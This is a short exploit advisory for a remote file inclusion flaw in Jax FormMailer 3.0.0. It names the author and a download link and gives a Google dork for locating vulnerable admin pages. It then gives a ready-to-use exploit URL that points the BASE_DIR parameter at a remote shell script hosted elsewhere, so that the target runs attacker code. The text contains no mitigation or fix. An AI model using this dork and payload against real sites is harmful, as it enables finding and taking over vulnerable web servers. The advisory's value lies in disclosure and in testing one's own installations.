Jax FormMailer version 3.0.0 suffers from a remote file inclusion vulnerability.
99ef1adfb39b08a122f767f878efb4e60a6f0a5ca0390e8c1625908e59b9222e
--:remote file include:--
---------------------------------
script:Jax FormMailer 3.0.0
Release:01.06.2008
-
Author: ahmadbady
-----------------------------------------------------------------------
download from:http://www.jtr.de/scripting/php/formmailer/index_eng.html
-----------------------------------------------------------------------
dork:intitle:"Jax Formmailer - Administration"
-------------------------------------------
-------------------------------------------
xpl:
/path/modules/formmailer/formmailer.admin.inc.php?BASE_DIR[jax_formmailer]=http://site.com/shell.txt?
*******************************************